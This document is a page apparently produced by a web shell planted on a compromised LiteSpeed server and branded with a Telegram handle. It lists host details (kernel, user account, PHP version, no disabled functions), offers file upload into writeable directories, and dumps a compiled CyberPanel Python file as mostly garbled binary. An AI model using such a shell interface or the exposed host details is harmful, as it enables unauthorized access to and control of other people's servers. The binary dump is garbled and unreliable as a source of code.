https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /usr/local/CyberCP/plogical/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/CyberCP/plogical/__pycache__/processUtilities.cpython-310.pyc
o

��g�:�@sbddlmZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZGdd�dej�Z
dS)�)�CyberCPLogFileWriterNc@s2eZdZdZdZdZdZdZdZdZ	dZ
dZdZdZ
dZdZd	Zd
d�Zdd
�Zedd��Zedd��Zedd��Zedd��Zed4dd��Zedd��Zedd��Zedd��Zed d!��Zed"d#��Zed5d$d%��Zed6d&d'��Zed7d(d)��Z d*d+�Z!ed8d,d-��Z"ed.d/��Z#ed0d1��Z$ed2d3��Z%dS)9�ProcessUtilities�/usr/local/CyberCP/debug�	litespeed�r��z /usr/local/lscpd/admin/comm.sock�unsetz/usr/local/lscp/conf/bind.confcCstj�|�||_||_dS�N)�multi�Thread�__init__�function�	extraArgs)�selfrr�r�//usr/local/CyberCP/plogical/processUtilities.pyr
s
zProcessUtilities.__init__c
CsXz|jdkr
|��WdSWdSty+}zt�t|�d�WYd}~dSd}~ww)N�popenz [ApplicationInstaller.run])r�
customPoen�
BaseException�logging�writeToFile�str)r�msgrrr�run s
� ��zProcessUtilities.runcCs:dtj}t�|�}|�d�dkr|�d�d�d�SdS)Nzcat %s�*����:r�
�8090)r�portPath�outputExecutioner�find�split�rstrip)�command�portrrr�fetchCurrentPort's


z!ProcessUtilities.fetchCurrentPortc
Cs�g}zddl}|��D]}|���tj�dkr|�|j�qWnty;}zt	�
t|�d�WYd}~dSd}~wwt|�dkrD|SdS)Nrrz [getLitespeedProcessNumber])
�psutil�process_iter�namer"r�litespeedProcess�append�pidrrrr�len)�finalListOfProcessesr(�procrrrr�getLitespeedProcessNumber1s$��
���z*ProcessUtilities.getLitespeedProcessNumberc
C�|z t��tjkrd}nd}t�|�}t�|�}|dkrWdSWdStjy=}zt�	t
|�d�WYd}~dSd}~ww)Nzsystemctl restart lswsz$/usr/local/lsws/bin/lswsctrl restartrrz[restartLitespeed]�r�decideServer�OLS�shlexr#�
subprocess�call�CalledProcessErrorrrr�r%�cmd�resrrrr�restartLitespeedE�

 ��z!ProcessUtilities.restartLitespeedc
Cr2)N�systemctl stop lswsz!/usr/local/lsws/bin/lswsctrl stoprrz[stopLitespeed]r3r:rrr�
stopLitespeedXr>zProcessUtilities.stopLitespeedFNc
CsBzhttjd�}|dkr%|dkrtjt�|�||d�}n8tj||||d�}n.|�d�dkr-n
|�d�dkr:d||f}|dkrJtjt�|�||d�}n	tj||||d�}tj�	t
j�r_t�
|�|d	krfWd
SWd	Stjy�}zt�
dt|��WYd}~d	Sd}~wty�}zt�
dt|��WYd}~d	Sd}~ww)
N�wF��stdout�stderr��shellrCrD�exportr�sudoz
sudo -u %s %srrz(%s. [ProcessUtilities.normalExecutioner]z-%s. [ProcessUtilities.normalExecutioner.Base])�open�os�devnullr7r8r6r#r"�path�existsr�	debugPathrrr9rr)r%rF�User�fr<rrrr�normalExecutionerks6
���z"ProcessUtilities.normalExecutionercCsbz	d}t�|�WnYt��}|dkr-|D]}z
dt|�}t�|�WqYqdSdS)Nr?rz
sudo kill -9 )rrQr1r)r%�pids�itemsrrr�
killLiteSpeed�s�zProcessUtilities.killLiteSpeedcCstj�d�r	tjStjS)Nz!/usr/local/lsws/bin/openlitespeed)rJrLrMrr5�entrrrrr4�szProcessUtilities.decideServercCs$d}d}tj�|�r5t|d����d�dkrdt_t|d����d�dks/t|d����d�r2tjStj	Stdd����d�dksqtdd����d	�dksqtdd����d
�dksqtdd����d�dksqtdd����d�dkr�t|d����d�dks�t|d����d�dkr�dt_
tjStjS)
Nz/etc/lsb-releasez/etc/redhat-release�rz22.04rrz20.04zCentOS Linux release 8zAlmaLinux release 8zRocky Linux release 8zRocky Linux release 9zAlmaLinux release 9)
rJrLrMrI�readr"r�
ubuntu22Check�ubuntu20�ubuntu�
alma9check�cent8�centos)�
distroPath�distroPathAlmarrr�decideDistro�s,000zProcessUtilities.decideDistrocCs>zd}t�|�}|�d�dkrWdSWdStyYdSw)Nzcat /etc/cgrules.confzNo suchrrr)rr!r"r)r%�outputrrr�containerCheck�s
�zProcessUtilities.containerCheckc
Cs�d}	zt�tjtj�}|�tj�|dgWStyW}z5|dkr3t�d�dt	|�gWYd}~S|d}t�dt	|�dt	|�d	�t
�d
�WYd}~nd}~wwq)Nrr�NonerzcFailed to connect to LSCPD socket, run 'systemctl restart lscpd' on command line to fix this issue.rz.Failed to connect to LSCPD UDS, error message:z
. Attempt z>, we will attempt again in 2 seconds. [setupUDSConnection:138]r)�socket�AF_UNIX�SOCK_STREAM�connectr�server_addressrrrr�time�sleep)�count�sockrrrr�setupUDSConnection�s 

"���z#ProcessUtilities.setupUDSConnectionc
Cs$z�t��}|ddkr|dWStjdkr tj�d�t_tjd=|d}|dkrr|�d�dkr0n|�d�dkr;d|}tj�tj	�rQ|�d�dkrQt
�tj|�|dkra|�tj|�
d	��nNd
tj||f}|�|�
d	��n=|�d�r~|�ddd�}|dkr�d
tj||f}n	dtj|||f}tj�tj	�r�|�d�dkr�t
�|�|�|�
d	��d}	|�d�}t|�dks�|dkr�n'z
||jdd�}Wnty�}zt
�dt|��WYd}~nd}~wwq�|��|WSt�y}zt
�t|�d�dt|�WYd}~Sd}~ww)Nrrr	�TOKENrGrHzsudo %s�cat�utf-8z
%s-d %s %s�rz
%s-u %s %sz%s-u %s -d %s %s� �ignore)�errorsz8Some data could not be decoded to str, error message: %sz [hey:sendCommand]�0)rrm�tokenrJ�environ�getr"rLrMrNrr�sendall�encode�
startswith�replace�recvr.�decoderr�close)r%�user�dir�retrl�data�currentDatarrrr�sendCommand�s`




���	��zProcessUtilities.sendCommandc
Cs�z2t��dkrt�|||�WdSt�||�}|t|�d}tt�|��d��}|dkr0WdSWdSt	yN}zt
�t|�d�WYd}~dSd}~ww)N�rootr�hexrz [executioner])
�getpass�getuserrrQr�r.�int�codecsrzrrrr)r%r�rFr��exitCoderrrr�executioner s��zProcessUtilities.executionerc	
Cs�z�tj�d�rt�|�t��dkrhtj�tj�rt�|�|dkr/|�	d�s/d|�d|��}|dks7|dkrCt
j|dt
jt
j
d�}n
t
jt�|�t
jt
j
d�}|r^d	|��d
�d�fWS|��d
�d�WSt|�tkrsd�|�}|r�t�||�}|t|�d	}tj�tj�r�t�dt|����tt�|��d
��}|d
kr�d	|dd�fWSd
|dd�fWSt�|||�dd�WSty�}zt�t|�d�WYd}~dSd}~ww)Nrr�rHzsudo -u � TrErBrrrpz*Status of command in outputExecutioner is r�rz[outputExecutioner:188])rJrLrMrrr�r�rrNr{r7�Popen�PIPE�STDOUTr6r#�communicater~�type�list�joinr�r.rr�r�rzr)	r%r�rFr��retRequired�pr�r�rrrrr!5s>



 ��z"ProcessUtilities.outputExecutionerc
Cs�z<t|jd�tkst|jd�tkr|jd}nd�|jd�}t��dkr1tj|dd�WdSt	�
||jd�WdStyX}zt�
t|�d�WYd}~dSd}~ww)	Nr%r�r�T)rFr�rz
 [customPoen])r�rr�bytesr�r�r�r7r8rr�rrr)rr%rrrrrbs$� ��zProcessUtilities.customPoenc
Csfzi}||d<||d<td|�}|��WdSty2}zt�t|�d�WYd}~dSd}~ww)Nr%r�rz [popenExecutioner])r�startrrrr)r%r�r�purrrr�popenExecutionerss
 ��z!ProcessUtilities.popenExecutionercCs2d||f}|��D]\}}|d||f}q
|S)Nz$/usr/local/CyberCP/bin/python %s %s z --%s %s)rS)rL�functionName�
parameters�execPath�key�valuerrr�BuildCommand~szProcessUtilities.BuildCommandc
Cs�ddl}d}z7|�|�}|jdkr5|��}|D]}|�d�dkr1d|�d�vr1|�d�}|WSqWdStd	|j�WdStyU}ztd
|�WYd}~dSd}~ww)Nrz1https://api.github.com/repos/nodejs/node/releases���
prereleaseF�LTSr*�tag_namez&Failed to fetch releases. Status code:�An error occurred:)�requestsrx�status_code�json�print�	Exception)r��url�response�releases�release�lts_version�errr�!fetch_latest_lts_version_for_node�s(



������z2ProcessUtilities.fetch_latest_lts_version_for_nodec
Cs�ddl}d}z(|�|�}|jdkr|��}|d�d�WSt�d|j���td|j�WdStyP}ztd|�t�dt|����WYd}~dSd}~ww)	Nrz;https://api.github.com/repos/PrestaShop/PrestaShop/releasesr�r�z'Failed to fetch releases. Status code: zH[fetch_latest_prestashop_version] Failed to fetch releases. Status code:r�z5[fetch_latest_prestashop_version] An error occurred: )	r�rxr�r�rrr�r�r)r�r�r�r�r�rrr�fetch_latest_prestashop_version�s 

�
��z0ProcessUtilities.fetch_latest_prestashop_version)FN)NN)NF)NNNNr
)&�__name__�
__module__�__qualname__rNr+rUr5r]r\�cent9rZrYrXr[rhrvr r
r�staticmethodr'r1r=r@rQrTr4r`rbrmr�r�r!rr�r�r�r�rrrrrsh
	


#




@,

	
r)�plogical.CyberCPLogFileWriterrrr7r6rJrd�	threadingrrir�r�rrrrrr�<module>s

https://t.me/RX1948 - 2025